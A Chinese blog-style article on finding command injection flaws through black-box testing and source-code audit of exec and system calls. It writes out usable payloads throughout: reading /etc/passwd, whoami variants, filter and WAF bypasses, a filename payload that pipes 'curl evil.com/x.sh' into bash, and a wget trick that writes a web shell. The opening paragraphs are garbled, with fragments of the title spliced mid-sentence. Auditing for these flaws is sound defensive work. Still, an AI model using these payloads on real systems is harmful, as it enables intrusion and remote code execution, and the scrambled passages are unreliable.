当前位置:首页 > 综合

怎么找到命令注入的相关漏洞

命令注入漏洞,找到注入说白了就是命令攻击者把系统命令塞进你的输入框,然后你的相洞服务器傻乎乎地执行了。这类漏洞在PHP、关漏Java、找到注入Python写的命令后台管理系统里特别常见,尤其是相洞那些需要调用系统工具处理文件、图像或日志的关漏功能点。

我去年审计过一个开源运维平台,找到注入开发者用exec("ping -c 1 " . $_GET['ip'])来检测主机存活。命令参数没过滤,相洞直接拼进命令里。关漏我输入127.0.0.1; cat /etc/passwd,找到注入服务器把密码文件吐出来了。命令就这么简单。相洞所以找这类漏洞,核心思路就一条:找到所有把用户输入拼进命令执行函数的地方。

具体怎么找?先别急着看代码,直接黑盒测。你拿个Burp Suite,把每个请求的参数都试一遍;whoami、|whoami、`whoami`、$(whoami)。响应里如果出现www-data或者root,恭喜你,中奖了。但黑盒命中率不高,因为很多开发会加过滤,比如把分号、竖线替换成空。这时候你得看编码绕过——%3B、%0a、%26,甚至用tab键代替空格。

真正高效的路径是白盒审计。拿到源码后,全局搜索几个危险函数:PHP的system()、exec()、shell_exec()、passthru()、popen();Java的Runtime.getRuntime().exec()、ProcessBuilder;Python的os.system()、subprocess.call()、os.popen()。搜到后,往上层追踪变量来源,看有没有经过过滤。大多数漏洞都出在“开发以为过滤了,但没滤干净”的角落。

举个典型例子:某系统有个导出报表功能,文件名参数直接拼进exec("tar -czf " . $file . " /tmp/data")。开发做了个黑名单,把;和&替换成空。但你传xxx$(whoami).tar,命令替换照样执行。更骚的是,如果过滤函数只替换了一次,你传;;whoami,替换后变成;whoami,还是能注入。这种低智过滤在真实项目里比比皆是。

还有个容易漏的点——间接输入。命令执行函数的参数不一定直接来自GET/POST,可能是数据库里查出来的、文件里读出来的、甚至日志里解析出来的。比如某系统根据用户上传的图片名生成缩略图,文件名存入MySQL,然后后台用exec("convert " . $filename)处理。你上传时把文件名改成a.jpg;curl evil.com/x.sh|bash,存储层没过滤,等到定时任务触发命令执行时,漏洞就炸了。这种存储型命令注入比反射型更隐蔽,也更危险。

实战里我习惯先看代码里有没有调用外部程序处理上传文件、生成二维码、解析Office文档这类功能。这些地方天然需要拼接命令,开发者容易图省事直接拼字符串。另一个高发区是调用系统命令做网络请求的,比如nslookup、curl、wget。你输入个URL,代码拼进wget + $url,那url里带个--output-document=/tmp/shell.php就能写文件。

最后说点反直觉的——有些WAF会拦截明显特征,比如cat /etc/passwd。但你用cat /etc/pass*、tac /etc/passwd、more /etc/passwd,规则可能就漏了。命令注入的过滤永远是不完备的,因为系统命令的写法太多了。你只要记住:任何进入命令执行函数的用户可控数据,默认都是不安全的。带着这个心态去审计,漏洞跑不掉。

分享到: